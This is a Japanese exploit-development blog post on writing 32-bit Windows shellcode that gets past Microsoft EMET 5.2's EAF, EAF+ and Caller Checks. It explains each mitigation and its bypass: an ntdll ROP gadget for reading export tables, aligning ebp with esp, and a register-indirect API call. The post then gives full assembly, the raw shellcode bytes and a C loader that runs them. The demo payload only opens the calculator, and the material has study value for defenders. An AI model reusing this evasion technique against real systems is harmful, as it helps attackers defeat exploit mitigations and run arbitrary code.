WindowsでEMETを回避するシェルコードを書いてみる
「Windowsで電卓を起動するシェルコードを書いてみる」では、32ビットのWindows環境で動作するシェルコードを書いた。 ここでは、Microsoftが提供する脆弱性緩和ツールEMET(Enhanced Mitigation Experience Toolkit)の検知機構を回避するシェルコードを書いてみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、EMET 5.2
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS ビルドの種類: Multiprocessor Free システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >ml Microsoft (R) Macro Assembler Version 12.00.31101.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 >powershell -c "(dir 'C:\Program Files (x86)\EMET 5.2\EMET_GUI.exe').VersionInfo.FileVersion" 5.2.5546.19547
EMETを使ってみる
EMETは、シェルコード実行やROP、リモートのDLL読み込みなどに対する複数の検知機構をまとめたツールキットである。 EMETでは、適用したいアプリケーションを事前に登録し、有効にしたい検知機構を選択するようになっている。
EMETをインストールし、「Windowsで電卓を起動するシェルコードを書いてみる」で作成したloader.exeについてデフォルトの検知機構を有効にした上で実行すると、実行に失敗することがわかる。 どのような検知機構に引っかかっているか確認するため、Default Actionを「Audit only」にして再度実行してみると、次のスクリーンショットのようになる。
ポップアップの内容から、EAFで2回、Callerで1回検知されていることが確認できる。
EAFの回避
EAF(Export Address Table Filtering)は、kernel32.dll、ntdll.dll、kernelbase.dllのExport Address Table(EAT)へのアクセス時に、そのアクセスが妥当なコード領域で行われているかどうかチェックする。
つまり、シェルコード中でmov eax, [eax]
のような形でEATの値を読もうとすると、このチェックにより検知される。
実際にデバッガを使いEAFの検知が起こるタイミングを調べると、IMAGE_EXPORT_DIRECTORY構造体のAddressOfFunctionsメンバにアクセスするタイミングで検知されていることがわかる。
EAFの回避にはいくつかの方法が知られている。
- ROP gadgetを利用し、妥当なコード領域からEATにアクセスする
- EATの代わりに、他のDLLのImport Address Tableから目的の関数のアドレスを得る
- NtContinueシステムコールを呼ぶことで、EAFが利用しているデバッグレジスタをクリアする
ここでは、一つ目の方法を用いることにする。 メモリアクセスに利用できるgadgetとして、ntdll.dll内にある次のコードが知られている。
0:000> u ntdll!RtlGetCurrentPeb ntdll!RtlGetCurrentPeb: 77c8c530 64a118000000 mov eax,dword ptr fs:[00000018h] 77c8c536 8b4030 mov eax,dword ptr [eax+30h] 77c8c539 c3 ret 77c8c53a 90 nop 77c8c53b 90 nop 77c8c53c 90 nop 77c8c53d 90 nop 77c8c53e 90 nop
上における77c8c536をcallすることで、eax+30h
のアドレスにある値を取得することができる。
そこで、シェルコード中でntdll.dllがロードされた領域から8b4030c3
というバイト列をスキャンし、このgadgetを探索する。
このとき、ntdll.dllのEATをスキャンしてしまうとEAFで検知されてしまうため、スキャンの開始アドレスを先頭からずらす必要があることに注意する。
実際にデバッガで調べてみると、ntdll.dllのEATは先頭から0x2B4BCバイト、RtlGetCurrentPeb関数は先頭から0xdc530バイトの位置にあることがわかる。
0:000> !dh -f ntdll (snip) 77bb0000 image base (snip) 2B4BC [ 10F9F] address [size] of Export Directory (snip) 0:000> ? ntdll!RtlGetCurrentPeb - ntdll Evaluate expression: 902448 = 000dc530
そこで、ここでは先頭から0x40000バイト先の位置からスキャンを開始することにする。 gadgetのアドレスを特定した後は、AddressOfFunctionsメンバにアクセスする箇所でこのgadgetを使うようにシェルコードを修正する。
EAF+の回避
EAF+は、EMET 5.0で追加されたEAFのチェック強化版である。 EAF+を有効にすると、次のような検知機構が追加される。
- EATへのアクセス時、espがスタック領域にあるかチェック
- EATへのアクセス時、ebpがespより大きい値となっているかチェック
- read primitiveによるメモリスキャンが行われうるDLL(Flash PlayerやJavaScriptエンジン)からEATへのアクセスを禁止
- 上記DLLのDOS/PEヘッダへのアクセスを禁止
EMETで新規アプリケーションを追加したとき、デフォルトでEAF+は無効であるが、ここではEAF+による検知も回避することを考える。 具体的には、二つ目のチェックを回避するため、EATへのアクセス時にebpがespより大きな値となるようにする。
Callerの回避
Caller(Caller Checks)はVirtualProtect関数など重要なAPI関数の呼び出し時、リターンアドレスの直前の命令が妥当なcall命令となっているかどうかチェックする。 これにより、ROPでスタック上のリターンアドレスが不正なものとなっている場合を検知する。
CallerはROP検知のための機構であるが、ここではシェルコード中で間接的にAPI関数にジャンプしているため、WinExec関数の呼び出し時に検知に引っかかっている。
これを回避するには、呼びたいAPI関数のアドレスをレジスタにセットし、call rax
のような形で呼ぶようにすればよい。
シェルコードを書いてみる
以上の内容をもとに、EMETの検知を回避するシェルコードを書いてみると次のようになる。
; execcalc.asm .386 .model flat, stdcall .code start: cld jmp step_main api_call: assume fs:nothing pushad xor eax, eax mov eax, fs:[eax+30h] ; PEB mov eax, [eax+0ch] ; Ldr mov esi, [eax+14h] ; InMemoryOrderModuleList lodsd ; next _LDR_DATA_TABLE_ENTRY mov esi, [eax+10h] ; DllBase of ntdll.dll xor edx, edx inc edx shl edx, 18 add esi, edx ; scan from DllBase+40000h scan_eaf_bypass: inc esi cmp dword ptr [esi], 0c330408bh ; mov eax,dword ptr [eax+30h]; ret jne scan_eaf_bypass push esi next_mod: mov [esp+20h], eax ; store eax mov ebp, [eax+10h] ; DllBase mov eax, [ebp+3ch] ; IMAGE_DOS_HEADER.e_lfanew mov edi, [ebp+eax+78h] ; IMAGE_EXPORT_DIRECTORY add edi, ebp mov ecx, [edi+18h] ; NumberOfNames mov ebx, [edi+20h] ; AddressOfNames add ebx, ebp next_name: ; while (--NumberOfNames) jecxz name_not_found dec ecx mov esi, [ebx+ecx*4] ; ptr = AddressOfNames[NumberOfNames] add esi, ebp xor eax, eax cdq ; hash = 0 compute_hash_loop: ; while ((c = *(ptr++)) != 0) lodsb test al, al jz compare_hash ror edx, 0dh ; hash += ror(c, 0x0d) add edx, eax jmp compute_hash_loop step_main: jmp main compare_hash: cmp edx, [esp+28h] ; compare with api hash jnz next_name mov edx, ebp ; EMET EAF+ bypass mov ebp, esp mov ebx, [edi+24h] ; AddressOfNameOrdinals add ebx, edx mov cx, [ebx+ecx*2] ; y = AddressOfNameOrdinals[x] pop esi ; EMET EAF bypass gadget lea eax, [edi+1ch-30h] ; AddressOfFunctions call esi add eax, edx mov eax, [eax+ecx*4] ; AddressOfFunctions[y] add eax, edx mov [esp+1ch], eax ; store eax popad pop ecx ; remove api hash from the stack pop edx push ecx ret ; return api address name_not_found: mov esi, [esp+20h] ; update eax lodsd ; next _LDR_DATA_TABLE_ENTRY jmp next_mod main: xor ebx, ebx push ebx push 636c6163h ; "calc" mov eax, esp push 1 push eax push 0e8afe98h ; WinExec call api_call call eax ; EMET Caller bypass push ebx push 73e2d87eh ; ExitProcess call api_call call eax end start
上のコードでは、InMemoryOrderModuleListの2番目が常にntdll.dllであることを利用し、scan_eaf_bypass
でベースアドレスの0x40000バイト先からgadgetを探索する。
発見したgadgetのアドレスはスタックに積んでおき、AddressOfFunctionsにアクセスする際に利用することでEAFを回避する。
また、AddressOfFunctionsのアクセス時にebpとespが同じ値になるようにしておくことで、EAF+を回避する。
さらに、api_call
はAPI関数に直接ジャンプする代わりにAPI関数のアドレスを返すようにし、呼び出し元であらためてcallすることでCallerを回避する。
最初のjmp命令で直接main
にジャンプするようにすると命令がNUL文字を含んでしまうため、ここではstep_main
を経由してmain
にジャンプしている。
コードをアセンブルして実行してみる。
>ml execcalc.asm /link /subsystem:console Microsoft (R) Macro Assembler Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: execcalc.asm Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /OUT:execcalc.exe execcalc.obj /subsystem:console >execcalc.exe
電卓が起動することを確認した後、ディスアセンブルして対応するバイト列を表示し、これをC文字列に変換してみる。
>dumpbin /rawdata execcalc.exe Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file execcalc.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: FC EB 52 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14 üëR`3Àd.@0.@..p. 00401010: AD 8B 70 10 33 D2 42 C1 E2 12 03 F2 46 81 3E 8B .p.3ÒBÁâ..òF.>. 00401020: 40 30 C3 75 F7 56 89 44 24 20 8B 68 10 8B 45 3C @0Ãu÷V.D$ .h..E< 00401030: 8B 7C 28 78 03 FD 8B 4F 18 8B 5F 20 03 DD E3 40 .|(x.ý.O.._ .Ýã@ 00401040: 49 8B 34 8B 03 F5 33 C0 99 AC 84 C0 74 09 C1 CA I.4..õ3À.¬.Àt.ÁÊ 00401050: 0D 03 D0 EB F4 EB 30 3B 54 24 28 75 E1 8B D5 8B ..Ðëôë0;T$(uá.Õ. 00401060: EC 8B 5F 24 03 DA 66 8B 0C 4B 5E 8D 47 EC FF D6 ì._$.Úf..K^.GìÿÖ 00401070: 03 C2 8B 04 88 03 C2 89 44 24 1C 61 59 5A 51 C3 .Â....Â.D$.aYZQÃ 00401080: 8B 74 24 20 AD EB 9F 33 DB 53 68 63 61 6C 63 8B .t$ ë.3ÛShcalc. 00401090: C4 6A 01 50 68 98 FE 8A 0E E8 65 FF FF FF FF D0 Äj.Ph.þ..èeÿÿÿÿÐ 004010A0: 53 68 7E D8 E2 73 E8 58 FF FF FF FF D0 Sh~ØâsèXÿÿÿÿÐ Summary 1000 .text >dumpbin /rawdata execcalc.exe | powershell -ex remotesigned -f getsc.ps1 \xFC\xEB\x52\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x8B\x70\x10\x33\xD2\x42\xC1\xE2\x12\x03\xF2\x46\x81\x3E\x8B\x40\x30\xC3\x75\xF7\x56\x89\x44\x24\x20\x8B\x68\x10\x8B\x45\x3C\x8B\x7C\x28\x78\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x03\xDD\xE3\x40\x49\x8B\x34\x8B\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x09\xC1\xCA\x0D\x03\xD0\xEB\xF4\xEB\x30\x3B\x54\x24\x28\x75\xE1\x8B\xD5\x8B\xEC\x8B\x5F\x24\x03\xDA\x66\x8B\x0C\x4B\x5E\x8D\x47\xEC\xFF\xD6\x03\xC2\x8B\x04\x88\x03\xC2\x89\x44\x24\x1C\x61\x59\x5A\x51\xC3\x8B\x74\x24\x20\xAD\xEB\x9F\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x65\xFF\xFF\xFF\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xE8\x58\xFF\xFF\xFF\xFF\xD0
シェルコードを実行してみる
上のバイト列にジャンプするC言語コードを書いてみると次のようになる。
/* loader.c */ #include <stdio.h> #include <string.h> int main() { char code[] = "\xFC\xEB\x52\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x8B\x70\x10\x33\xD2\x42\xC1\xE2\x12\x03\xF2\x46\x81\x3E\x8B\x40\x30\xC3\x75\xF7\x56\x89\x44\x24\x20\x8B\x68\x10\x8B\x45\x3C\x8B\x7C\x28\x78\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x03\xDD\xE3\x40\x49\x8B\x34\x8B\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x09\xC1\xCA\x0D\x03\xD0\xEB\xF4\xEB\x30\x3B\x54\x24\x28\x75\xE1\x8B\xD5\x8B\xEC\x8B\x5F\x24\x03\xDA\x66\x8B\x0C\x4B\x5E\x8D\x47\xEC\xFF\xD6\x03\xC2\x8B\x04\x88\x03\xC2\x89\x44\x24\x1C\x61\x59\x5A\x51\xC3\x8B\x74\x24\x20\xAD\xEB\x9F\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x65\xFF\xFF\xFF\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xE8\x58\xFF\xFF\xFF\xFF\xD0"; printf("strlen(code) = %d\n", strlen(code)); (*(void (*)())code)(); return 0; }
>cl loader.c /link /nxcompat:no Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. loader.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:loader.exe /nxcompat:no loader.obj
EMETの適用対象にloader.exeを追加し、EAF、EAF+、Callerを有効にする。 この状態で実行ファイルを実行すると、EMETで検知されることなく電卓が起動することが確認できる。
>loader.exe strlen(code) = 173
このシェルコードの長さは173バイトである。